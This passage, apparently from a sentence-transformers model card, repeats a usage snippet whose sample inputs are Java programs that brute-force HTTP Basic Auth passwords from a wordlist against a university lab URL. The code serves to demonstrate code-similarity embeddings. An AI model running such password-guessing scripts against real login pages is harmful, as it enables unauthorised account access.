2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) 